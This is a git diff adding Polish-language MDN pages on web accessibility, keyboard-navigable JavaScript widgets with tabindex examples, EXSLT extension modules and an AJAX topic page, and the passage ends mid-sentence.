+<p><span id="result_box" lang="pl"><span>Tradycyjnie nawigacja po klawiaturze w sieci została ograniczona do klawisza Tab.</span> <span>Użytkownik naciśnie klawisz Tab, aby skupić się na każdym łączu, przycisku lub formularzu na stronie w liniowej kolejności, używając Shift-Tab, aby nawigować wstecz.</span> <span>Jest to jednowymiarowa forma nawigacji do przodu i do tyłu, jeden element na raz.</span> <span>Na dość gęstych stronach użytkownik klawiatury często musi kilkakrotnie nacisnąć klawisz Tab przed uzyskaniem dostępu do potrzebnej sekcji.</span> <span>Wdrożenie konwencji klawiatury w stylu komputera w Internecie może znacząco przyspieszyć nawigację dla wielu użytkowników.</span></span></p>
+
+<p><span id="result_box" lang="pl"><span>Oto podsumowanie, jak powinna działać nawigacja klawiaturowa w aplikacji internetowej obsługującej ARIA</span></span>:</p>
+
+<ul>
+ <li><span id="result_box" lang="pl"><span>Klawisz Tab powinien skupić się na widżecie jako całości.</span> <span>Na przykład, przechodzenie do paska menu powinno skupiać się na pierwszym elemencie menu.</span></span></li>
+ <li><span id="result_box" lang="pl"><span>Klawisze strzałek powinny umożliwiać wybór lub nawigację w widgecie.</span> <span>Na przykład za pomocą klawiszy strzałek w lewo i w prawo należy ustawić wybór na poprzednie i następne pozycje menu.</span></span></li>
+ <li><span id="result_box" lang="pl"><span>Gdy widget nie znajduje się w formularzu, klawisze Enter i Spacja powinny wybrać lub aktywować kontrolkę.</span></span></li>
+ <li><span id="result_box" lang="pl"><span>W formularzu klawisz Spacji powinien wybrać lub aktywować kontrolkę, natomiast klawisz Enter powinien przesłać domyślną akcję formularza</span></span>.</li>
+ <li><span id="result_box" lang="pl"><span>W razie wątpliwości naśladuj standardowe zachowanie pulpitu kontrolki, którą tworzysz</span></span>.</li>
+</ul>
+
+<p><span id="result_box" lang="pl"><span>Tak więc, dla przykładu widżetów zakładki powyżej, użytkownik powinien móc nawigować do kontenera widgetu (&lt;ol&gt; w naszym znaczniku) i wychodzić za pomocą klawiszy Tab i Shift-Tab.</span> <span>Po ustawieniu nawigacji klawiaturą w kontenerze klawisze strzałek powinny umożliwiać użytkownikowi nawigację między kartami (elementy &lt;li&gt;)</span></span>. <span id="result_box" lang="pl"><span>Konwencje różnią się w zależności od platformy.</span> <span>W systemie Windows następna karta powinna być automatycznie aktywowana, gdy użytkownik naciśnie klawisze strzałek.</span> <span>W systemie Mac OS X użytkownik może nacisnąć klawisz Enter lub klawisz spacji, aby aktywować następną kartę</span></span>. <span id="result_box" lang="pl"><span>Szczegółowy samouczek do tworzenia</span></span> <a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a> <span id="result_box" lang="pl"><span>opisuje sposób implementacji tego zachowania za pomocą JavaScript</span></span>.</p>
+
+<p><span id="result_box" lang="pl"><span>Aby uzyskać więcej informacji na temat konwencji nawigacyjnych na klawiaturze w stylu komputerowym, należy zapoznać się z obszernym opisem</span></span> <a class="external" href="http://karlgroves-sandbox.com/CheatSheets/DHTML-Style-Guide.html" title="http://dev.aol.com/dhtml_style_guide">DHTML style guide</a>. <span id="result_box" lang="pl"><span>Opis zawiera przegląd nawigacji klawiaturowej dla każdego typu widżetu obsługiwanego przez ARIA.</span> <span>W3C oferuje również pomocne</span></span> <a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">ARIA Best Practices</a> <span id="result_box" lang="pl"><span>dokument zawiera nawigację klawiaturową i konwencje skrótów dla różnych widżetów</span></span>. </p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en/ARIA" title="ARIA">ARIA</a></li>
+ <li><a href="/en/Accessibility/Web_applications_and_ARIA_FAQ" title="Web applications and ARIA FAQ">Web applications and ARIA FAQ</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></li>
+ <li><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/Overview.html" title="http://www.w3.org/WAI/PF/aria-practices/Overview.html">WAI-ARIA Best Practices</a></li>
+ <li><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/" title="http://dev.aol.com/dhtml_style_guide">DHTML Style Guide</a></li>
+</ul>
diff --git a/files/pl/web/dostępność/index.html b/files/pl/web/dostępność/index.html
new file mode 100644
index 0000000000..801f0d62ac
--- /dev/null
+++ b/files/pl/web/dostępność/index.html
@@ -0,0 +1,94 @@
+---
+title: Dostępność
+slug: Web/Dostępność
+tags:
+ - Dostępność
+translation_of: Web/Accessibility
+---
+<div>
+<p>"<strong>Dostępność</strong> (ang. accessibility) - nauka oraz zbiór standardów opisujących metody i wytyczne tworzenia serwisów WWW w sposób umożliwiający wygodny dostęp jak najszerszemu gronu odbiorców. Dostępne serwisy mogą być bez trudu wykorzystywane przez osoby niewidzące, niedowidzące, użytkowników mniej popularnych wyszukiwarek czy platform mobilnych." <small><a class="external" href="http://pl.wikipedia.org/wiki/Dostępność">Artykuł o Dostępności na Wikipedii</a></small></p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Dokumentacja" name="Dokumentacja"><a>Przewodniki</a></h4>
+
+ <dl>
+ <dt><a class="external" href="https://developer.mozilla.org/pl/docs/Learn/Accessibility/What_is_accessibility">Czym jest dostępność?</a></dt>
+ <dd><small>Niniejszy artykuł stanowi wstęp do modułu i jednocześnie obszerną odpowiedź na pytanie, czym właściwie jest dostępność - w tym jakie grupy ludzi powinniśmy brać pod uwagę i dlaczego, jakich narzędzi używają oni do interakcji z siecią oraz jak uczynić dostęność częścią naszej organizacji zadań.</small></dd>
+ </dl>
+
+ <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4>
+
+ <dl>
+ <dt><a class="external" href="http://www.kursusability.pl">Kurs Usability</a></dt>
+ <dd><small>Materiały opisujące zagadnienia związane z użytecznością, dostępnością oraz efektywnością serwisów WWW. </small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://mimas.ceti.pl/dia/">W głąb dostępności</a></dt>
+ <dd><small>Niniejsza książka odpowiada na dwa pytania. Pierwsze brzmi: "Dlaczego powinienem uczynić swoją stronę WWW bardziej dostępną?" Jeżeli nie masz strony w sieci, ta książka nie jest dla Ciebie. Drugie pytanie to "Jak mogę uczynić moją stronę bardziej dostępną?" Jeżeli nie zostaniesz przekonany przez odpowiedź na pierwsze pytanie, nie będziesz zainteresowany odpowiedzią na drugie.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://dwww.pl/">Web Accessibility po polsku</a></dt>
+ <dd><small>Dostępność w projektowaniu stron internetowych oznacza tworzenie takich dokumentów, które są czytelne i funkcjonalne dla wszystkich użytkowników niezależnie od ich fizycznych ograniczeń, sytuacji w jakiej się znajdują, a także używanego oprogramowania oraz sprzętu.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://www.mozilla.org/access/today">Software Accessibility Today</a></dt>
+ <dd><small>The accessibility of computer software has seen drastic improvements over the past two decades. This article reviews the progress and technology as it has developed.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://www.mozilla.org/access/keyboard/tabindex.html">Key-navigable custom DHTML widgets, in Mozilla and IE</a></dt>
+ <dd><small>Until now, web developers who want to make their styled <code>&lt;div&gt;</code> and <code>&lt;span&gt;</code> based widgets keyboard accessible have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements of which any web developer should be aware.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://www-306.ibm.com/able/guidelines/web/accessweb.html">Accessible Web Page Authoring</a></dt>
+ <dd><small>A handy web accessibility checklist, from IBM.</small></dd>
+ </dl>
+
+ <p><br>
+ <span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ <li><a class="external" href="http://www.w3.org/WAI/IG/">WAI Interest Group</a></li>
+ <li><a href="pl/Dost%c4%99pno%c5%9b%c4%87/Spo%c5%82eczno%c5%9b%c4%87">Inne społeczności...</a></li>
+ </ul>
+
+ <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4>
+
+ <ul>
+ <li><a class="external" href="http://www.mozilla.org/quality/embed/plans/accessibility/nsIAccessibleTestPlan.html">Automated Accessibility Tests</a></li>
+ <li><a class="external" href="http://www.standards-schmandards.com/index.php?show/fangs">Fangs Screen Reader Emulator</a></li>
+ </ul>
+
+ <p><span class="alllinks"><a>Pokaż wszystkie...</a></span></p>
+
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+
+ <dl>
+ <dd><a href="pl/Programowanie_WWW">Programowanie WWW</a>, <a href="pl/Standardy_WWW">Standardy WWW</a>, <a href="pl/XUL">XUL</a></dd>
+ </dl>
+
+
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><small> </small></p>
+
+<p>
+ </p><p><span class="comment">Categories</span></p>
+
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html b/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html
new file mode 100644
index 0000000000..3dd7d0f983
--- /dev/null
+++ b/files/pl/web/dostępność/keyboard-navigable_javascript_widgets/index.html
@@ -0,0 +1,171 @@
+---
+title: Keyboard-navigable JavaScript widgets
+slug: Web/Dostępność/Keyboard-navigable_JavaScript_widgets
+tags:
+ - Accessibility
+ - DOM
+ - Navigation
+translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
+---
+<h3 id="Overview">Overview</h3>
+
+<p>Web applications often use JavaScript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. These widgets are typically composed of {{ HTMLElement("div") }} and {{ HTMLElement("span") }} elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. This document describes techniques to make JavaScript widgets accessible with the keyboard.</p>
+
+<h3 id="Using_tabindex">Using tabindex</h3>
+
+<p>By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the <code>tabindex</code> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a>, authors can make other elements focusable, too. When set to <code>0</code>, the element becomes focusable by keyboard and script. When set to <code>-1</code>, the element becomes focusable by script, but it does not become part of the keyboard focus order.</p>
+
+<p>The order in which elements gain focus when using a keyboard, is the source order by default. In exceptional circumstances, authors may want to redefine the order. To do this, authors can set <code>tabindex</code> to any positive number.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> avoid using positive values for <code>tabindex</code>.  Elements with a positive <code>tabindex</code> are put before the default interactive elements on the page, which means page authors will have to set (and maintain) <code>tabindex</code> values for all focusable elements on the page whenever they use one or more positive values for <code>tabindex</code>.</p>
+</div>
+
+<p>The following table describes <code>tabindex</code> behavior in modern browsers:</p>
+
+<table class="fullwidth-table" style="width: 75% !important;">
+ <tbody>
+ <tr>
+ <th><code>tabindex</code> attribute</th>
+ <th>Focusable with mouse or JavaScript via <code>element.focus()</code></th>
+ <th>Tab navigable</th>
+ </tr>
+ <tr>
+ <td>not present</td>
+ <td>Follows the platform convention of the element (yes for form controls, links, etc.).</td>
+ <td>Follows the platform convention of the element.</td>
+ </tr>
+ <tr>
+ <td>Negative (i.e. <code>tabindex="-1"</code>)</td>
+ <td>Yes</td>
+ <td>No; author must focus the element with <code><a class="external text" href="../../../../En/DOM/Element.focus" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Element.focus">focus()</a></code> in response to arrow or other key presses.</td>
+ </tr>
+ <tr>
+ <td>Zero (i.e. <code>tabindex="0"</code>)</td>
+ <td>Yes</td>
+ <td>In tab order relative to element's position in document (note that interactive elements like {{ HTMLElement("a") }} have this behavior by default, they don't need the attribute).</td>
+ </tr>
+ <tr>
+ <td>Positive (e.g. <code>tabindex="33"</code>)</td>
+ <td>Yes</td>
+ <td><code>tabindex</code> value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, <code>tabindex="7"</code> will be positioned before <code>tabindex="11"</code>).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Non-native_controls">Non-native controls</h4>
+
+<p>Native HTML elements that are interactive, like {{ HTMLElement("a") }}, {{ HTMLElement("input") }} and {{ HTMLElement("select") }}, are already accessible by keyboards, so to use one of them is the fastest path to make components work with keyboards.</p>
+
+<p>Authors can also make a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} keyboard accessible by adding a <code>tabindex</code> of <code>0</code>. This is particularly useful for components that use interactive elements that do not exist in HTML.</p>
+
+<h4 id="Grouping_controls">Grouping controls</h4>
+
+<p>For grouping widgets such as menus, tablists, grids, or tree views, the parent element should be in the tab order (<code>tabindex="0"</code>), and each descendent choice/tab/cell/row should be removed from the tab order (<code>tabindex="-1"</code>). Users should be able to navigate the descendent elements using arrow keys. (For a full description of the keyboard support that is normally expected for typical widgets, see the <a class="external text" href="https://www.w3.org/TR/wai-aria-practices-1.1/" rel="nofollow" title="https://www.w3.org/TR/wai-aria-practices-1.1/">WAI-ARIA Authoring Practices</a>.)</p>
+
+<p>The example below shows this technique used with a nested menu control. Once keyboard focus lands on the containing {{ HTMLElement("ul") }} element, the JavaScript developer must programmatically manage focus and respond to arrow keys. For techniques for managing focus within widgets, see "Managing focus inside groups" below.</p>
+
+<p><em>Example 2: A menu control using tabindex to control keyboard access</em></p>
+
+<pre class="brush: html">&lt;ul id="mb1" tabindex="0"&gt;
+ &lt;li id="mb1_menu1" tabindex="-1"&gt; Font
+ &lt;ul id="fontMenu" title="Font" tabindex="-1"&gt;
+ &lt;li id="sans-serif" tabindex="-1"&gt;Sans-serif&lt;/li&gt;
+ &lt;li id="serif" tabindex="-1"&gt;Serif&lt;/li&gt;
+ &lt;li id="monospace" tabindex="-1"&gt;Monospace&lt;/li&gt;
+ &lt;li id="fantasy" tabindex="-1"&gt;Fantasy&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+ &lt;li id="mb1_menu2" tabindex="-1"&gt; Style
+ &lt;ul id="styleMenu" title="Style" tabindex="-1"&gt;
+ &lt;li id="italic" tabindex="-1"&gt;Italics&lt;/li&gt;
+ &lt;li id="bold" tabindex="-1"&gt;Bold&lt;/li&gt;
+ &lt;li id="underline" tabindex="-1"&gt;Underlined&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+ &lt;li id="mb1_menu3" tabindex="-1"&gt; Justification
+ &lt;ul id="justificationMenu" title="Justication" tabindex="-1"&gt;
+ &lt;li id="left" tabindex="-1"&gt;Left&lt;/li&gt;
+ &lt;li id="center" tabindex="-1"&gt;Centered&lt;/li&gt;
+ &lt;li id="right" tabindex="-1"&gt;Right&lt;/li&gt;
+ &lt;li id="justify" tabindex="-1"&gt;Justify&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Disabled_controls">Disabled controls</h4>
+
+<p>When a custom control becomes disabled, remove it from the tab order by setting <code>tabindex="-1"</code>. Note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys.</p>
+
+<h3 id="Managing_focus_inside_groups">Managing focus inside groups</h3>
+
+<p>When a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. There are two techniques for accomplishing this:</p>
+
+<ol>
+ <li>Roving <code>tabindex</code>: programmatically moving focus</li>
+ <li><code>aria-activedescendant</code>: managing a 'virtual' focus</li>
+</ol>
+
+<h4 id="Technique_1_Roving_tabindex">Technique 1: Roving tabindex</h4>
+
+<p>Setting the <code>tabindex</code> of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. Note that updating the <code>tabindex</code> to "0" requires also updating the previously selected item to <code>tabindex="-1"</code>. This technique involves programmatically moving focus in response to key events and updating the <code>tabindex</code> to reflect the currently focused item. To do this:</p>
+
+<p>Bind a key down handler to each element in the group, and when an arrow key is used to move to another element:</p>
+
+<ol>
+ <li>programmatically apply focus to the new element,</li>
+ <li>update the <code>tabindex</code> of the focused element to "0", and</li>
+ <li>update the <code>tabindex</code> of the previously focused element to "-1".</li>
+</ol>
+
+<p>Here's an example of a <a class="external text" href="https://files.paciellogroup.com/training/WWW2012/samples/Samples/aria/tree/index.html" rel="nofollow" title="Paciello Group Tree View example">WAI-ARIA tree view</a> using this technique.</p>
+
+<h5 id="Tips">Tips</h5>
+
+<h6 id="Use_element.focus_to_set_focus">Use element.focus() to set focus</h6>
+
+<p>Do not use <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> to send focus to an element. DOM focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. Use <code>element.focus()</code> instead.</p>
+
+<h6 id="Use_onfocus_to_track_the_current_focus">Use onfocus to track the current focus</h6>
+
+<p>Don't assume that all focus changes will come via key and mouse events: assistive technologies such as screen readers can set the focus to any focusable element. Track focus using <code>onfocus</code> and <code>onblur</code> instead.</p>
+
+<p><code>onfocus</code> and <code>onblur</code> can now be used with every element. There is no standard DOM interface to get the current document focus. If you want to track the focus status, you can use the <a href="/en-US/docs/Web/API/DocumentOrShadowRoot/activeElement">document.activeElement</a> to get the active element. You can also use <a href="/en-US/docs/Web/API/Document/hasFocus">document.hasFocus</a> to make sure if the current document focus. </p>
+
+<h4 id="Technique_2_aria-activedescendant">Technique 2: aria-activedescendant</h4>
+
+<p>This technique involves binding a single event handler to the container widget and using the <code>aria-activedescendant</code> to track a "virtual" focus. (For more information about ARIA, see this <a class="external text" href="../../../../An_Overview_of_Accessible_Web_Applications_and_Widgets" rel="nofollow" title="https://developer.mozilla.org/An_Overview_of_Accessible_Web_Applications_and_Widgets">overview of accessible web applications and widgets</a>.)</p>
+
+<p>The <code>aria-activedescendant</code> property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of <code>aria-activedescendant</code> and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this <a class="external text" href="http://www.oaa-accessibility.org/example/28/" rel="nofollow" title="http://www.oaa-accessibility.org/example/28/">ARIA radiogroup example</a> for a direct illustration of how this works.</p>
+
+<h3 id="General_Guidelines">General Guidelines</h3>
+
+<h4 id="Use_onkeydown_to_trap_key_events_not_onkeypress">Use onkeydown to trap key events, not onkeypress</h4>
+
+<p>IE will not fire <code>keypress</code> events for non-alphanumeric keys. Use <code>onkeydown</code> instead.</p>
+
+<h4 id="Ensure_that_keyboard_and_mouse_produce_the_same_experience">Ensure that keyboard and mouse produce the same experience</h4>
+
+<p>To ensure that the user experience is consistent regardless of input device, keyboard and mouse event handlers should share code where appropriate. For example, the code that updates the <code>tabindex</code> or the styling when users navigate using the arrow keys should also be used by mouse click handlers to produce the same changes.</p>
+
+<h4 id="Ensure_that_the_keyboard_can_be_used_to_activate_element">Ensure that the keyboard can be used to activate element</h4>
+
+<p>To ensure that the keyboard can be used to activate elements, any handlers bound to mouse events should also be bound to keyboard events. For example, to ensure that the Enter key will activate an element, if you have an <code>onclick="doSomething()"</code>, you should bind <code>doSomething()</code> to the key down event as well: <code>onkeydown="return event.keyCode != 13 || doSomething();"</code>.</p>
+
+<h4 id="Always_draw_the_focus_for_tabindex-1_items_and_elements_that_receive_focus_programatically">Always draw the focus for tabindex="-1" items and elements that receive focus programatically</h4>
+
+<p>IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like <code>this.style.backgroundColor = "gray";</code> or add a dotted border via <code>this.style.border = "1px dotted invert"</code>. In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).</p>
+
+<h4 id="Prevent_used_key_events_from_performing_browser_functions">Prevent used key events from performing browser functions</h4>
+
+<p>If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns <code>false</code>, the event will not be propagated beyond your handler.</p>
+
+<p>For example:</p>
+
+<pre class="brush: html">&lt;span tabindex="-1" onkeydown="return handleKeyDown();"&gt;</pre>
+
+<p>If <code>handleKeyDown()</code> returns <code>false</code>, the event will be consumed, preventing the browser from performing any action based on the keystroke.</p>
+
+<h4 id="Dont_rely_on_consistent_behavior_for_key_repeat_at_this_point">Don't rely on consistent behavior for key repeat, at this point</h4>
+
+<p>Unfortunately <code>onkeydown</code> may or may not repeat depending on what browser and OS you're running on.</p>
diff --git a/files/pl/web/exslt/index.html b/files/pl/web/exslt/index.html
new file mode 100644
index 0000000000..5fde08b5d5
--- /dev/null
+++ b/files/pl/web/exslt/index.html
@@ -0,0 +1,93 @@
+---
+title: EXSLT
+slug: Web/EXSLT
+tags:
+ - Dokumentacje
+ - EXSLT
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/EXSLT
+---
+<p>
+{{ XsltRef() }}
+{{ Fx_minversion_header(3) }}
+EXSLT to zestaw rozszerzeń języka <a href="pl/XSLT">XSLT</a>. Program Firefox obsługuje następujące spośród wielu istniejących modułów:
+</p>
+<dl><dt><a href="#Pakiet_podstawowy">Pakiet podstawowy</a> (<code>exsl</code>)
+</dt><dd>Podstawowe elementy i funkcje rozszerzeń.
+</dd><dt><a href="#Pakiet_matematyczny">Pakiet matematyczny</a> (<code>math</code>)
+</dt><dd>Procedury służące do porównywania węzłów.
+</dd><dt><a href="#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a> (<code>regexp</code>)
+</dt><dd>Mechanizmy wspomagające korzystanie z wyrażeń regularnych w składni języka JavaScript.
+</dd><dt><a href="#Zestawy">Zestawy</a> (<code>set</code>)
+</dt><dd>Procedury do obsługi zestawów.
+</dd><dt><a href="#Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</a> (<code>str</code>)
+</dt><dd>Funkcje służące do manipulowania ciągami znaków.
+</dd></dl>
+<h3 id="Korzystanie_z_EXSLT" name="Korzystanie_z_EXSLT">Korzystanie z EXSLT</h3>
+<p>Aby skorzystać z rozszerzenia EXSLT, należy zadeklarować jego przestrzeń nazw jako przestrzeń nazw rozszerzenia w arkuszu stylów. W poniższym przykładzie używany jest pakiet wyrażeń regularnych:
+</p>
+<pre class="eval">&lt;xsl:stylesheet version="1.0"
+ xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"
+ xmlns:regexp="<span class="nowiki">http://exslt.org/regular-expressions</span>"
+ extension-element-prefixes="regexp"&gt;
+
+&lt;xsl:import href="regexp.xsl" /&gt;
+
+...
+
+&lt;/xsl:stylesheet&gt;
+</pre>
+<h3 id="Pakiet_podstawowy" name="Pakiet_podstawowy">Pakiet podstawowy</h3>
+<p>Pakiet podstawowy EXSLT zawiera główne funkcje rozszerzające możliwości języka XSLT. Przestrzeń nazw pakietu podstawowego to <code><span class="nowiki">http://exslt.org/common</span></code>.
+</p>
+<h4 id="Funkcje" name="Funkcje"> Funkcje </h4>
+<ul><li> <a href="pl/EXSLT/exsl/node-set">exsl:node-set</a>
+</li><li> <a href="pl/EXSLT/exsl/object-type">exsl:object-type</a>
+</li></ul>
+<h3 id="Pakiet_matematyczny" name="Pakiet_matematyczny">Pakiet matematyczny</h3>
+<p>Pakiet matematyczny EXSLT zawiera funkcje służące do operacji na wartościach numerycznych oraz do porównywania węzłów. Przestrzeń nazw pakietu matematycznego to <code><span class="nowiki">http://exslt.org/math</span></code>.
+</p>
+<h4 id="Funkcje_2" name="Funkcje_2">Funkcje</h4>
+<ul><li> <a href="pl/EXSLT/math/highest">math:highest</a>
+</li><li> <a href="pl/EXSLT/math/lowest">math:lowest</a>
+</li><li> <a href="pl/EXSLT/math/max">math:max</a>
+</li><li> <a href="pl/EXSLT/math/min">math:min</a>
+</li></ul>
+<h3 id="Wyra.C5.BCenia_regularne" name="Wyra.C5.BCenia_regularne">Wyrażenia regularne</h3>
+<p>Pakiet wyrażeń regularnych EXSLT zawiera funkcje umożliwiające sprawdzanie, dopasowywanie i zastępowanie tekstu za pomocą wyrażeń regularnych w formie stosowanej w języku JavaScript.
+</p><p>Przestrzeń nazw pakietu wyrażeń regularnych EXSLT to <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>.
+</p>
+<h4 id="Funkcje_3" name="Funkcje_3">Funkcje</h4>
+<ul><li> <a href="pl/EXSLT/regexp/match">regexp:match</a>
+</li><li> <a href="pl/EXSLT/regexp/replace">regexp:replace</a>
+</li><li> <a href="pl/EXSLT/regexp/test">regexp:test</a>
+</li></ul>
+<h3 id="Zestawy" name="Zestawy">Zestawy</h3>
+<p>Pakiet zestawów EXSLT zawiera funkcje pozwalające na manipulowanie zestawami. Przestrzeń nazw dla tych funkcji to <code><span class="nowiki">http://exslt.org/sets</span></code>.
+</p>
+<h4 id="Funkcje_4" name="Funkcje_4">Funkcje</h4>
+<ul><li> <a href="pl/EXSLT/set/difference">set:difference</a>
+</li><li> <a href="pl/EXSLT/set/distinct">set:distinct</a>
+</li><li> <a href="pl/EXSLT/set/intersection">set:intersection</a>
+</li><li> <a href="pl/EXSLT/set/has-same-node">set:has-same-node</a>
+</li><li> <a href="pl/EXSLT/set/leading">set:leading</a>
+</li><li> <a href="pl/EXSLT/set/trailing">set:trailing</a>
+</li></ul>
+<h3 id="Ci.C4.85gi_znak.C3.B3w" name="Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</h3>
+<p>Pakiet ciągów znaków EXSLT zawiera funkcje służące do manipulowania ciągami znaków. Przestrzeń nazw tego pakietu to <code><span class="nowiki">http://exslt.org/strings</span></code>.
+</p>
+<h4 id="Funkcje_5" name="Funkcje_5">Funkcje</h4>
+<ul><li> <a href="pl/EXSLT/str/concat">str:concat</a>
+</li><li> <a href="pl/EXSLT/str/split">str:split</a>
+</li><li> <a href="pl/EXSLT/str/tokenize">str:tokenize</a>
+</li></ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<ul><li> <a class="external" href="http://www.exslt.org/">Witryna internetowa EXSLT</a>
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/EXSLT", "es": "es/EXSLT", "fr": "fr/EXSLT", "ja": "ja/EXSLT" } ) }}
diff --git a/files/pl/web/guide/ajax/index.html b/files/pl/web/guide/ajax/index.html
new file mode 100644
index 0000000000..c8f03c5f20
--- /dev/null
+++ b/files/pl/web/guide/ajax/index.html
@@ -0,0 +1,23 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+tags:
+ - AJAX
+ - Wszystkie_kategorie
+translation_of: Web/Guide/AJAX
+---
+<p> </p>
+<p><span>"Getting Started" box, if there is no "Getting Started" article yet written, should be populated with another featurearticle or tutorial.</span></p>
+<div class="callout-box"><strong><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Na początek</a></strong><br>
+Wprowadzenie do AJAX-a.</div>
+<div>
+<p><strong>AJAX (ang. <em>Asynchronous JavaScript and XML</em>, asynchroniczny JavaScript i XML)</strong> nie jest technologią sam w sobie, lecz terminem określającym "nowe" podejście do jednoczesnego wykorzystania takich istniejących technologii razem, jak: <a href="/pl/HTML" title="pl/HTML">HTML</a> lub <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>, <a href="/pl/CSS" title="pl/CSS">kaskadowe arkusze stylów</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a>, <a href="/pl/DOM" title="pl/DOM">obiektowy model dokumentu</a>, <a href="/pl/XML" title="pl/XML">XML</a>, <a href="/pl/XSLT" title="pl/XSLT">XSLT</a> oraz <a href="/pl/XMLHttpRequest" title="pl/XMLHttpRequest">obiekt XMLHttpRequest</a>. Dzięki modelowi AJAX, aplikacje sieciowe są w stanie dokonywać szybkich, przyrostowych aktualizacji w interfejsie użytkownika bez potrzeby przeładowywania całej strony WWW. W efekcie aplikacja wydaje się szybsza i lepiej reaguje na akcje użytkownika.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Dokumentacja"><a href="/Special:Tags?tag=AJAX&amp;language=pl" title="Special:Tags?tag=AJAX&amp;language=pl">Dokumentacja</a></h4> <dl> <dt><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Na początek</a></dt> <dd><small>Ten artykuł prowadzi czytelnika przez podstawy AJAX-u i podaje dwa proste przykłady, na początek.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.adaptivepath.com/publications/essays/archives/000385.php">Ajax: Nowe podejście do aplikacji sieciowych</a></dt> <dd><small>Jesse James Garrett z <a class="external" href="http://www.adaptivepath.com">adaptive path</a> napisał ten artykuł w lutym 2005 roku. Przedstawia w nim AJAX i jemu pokrewne koncepcje.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt> <dd><small>"Okazuje się że, wykorzystanie obiektu XMLHttpRequest w celu uczynienia aplikacji sieciowej bardziej interaktywną bez rezygnowania z tradycyjnych rozwiązań, takich jak formularze służące pobieraniu danych od użytkownika, nie musi być wcale takie trudne."</small></dd> </dl> <dl> <dt><a class="external" href="http://www.contentwithstyle.co.uk/Articles/38/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps">Fixing the Back Button and Enabling Bookmarking for AJAX Apps</a></dt> <dd><small>Mike Stenhouse opisuje kilka sposobów na poradzenie sobie podczas tworzenia aplikacji AJAX z problemamami dotyczącymi przycisku Wstecz i 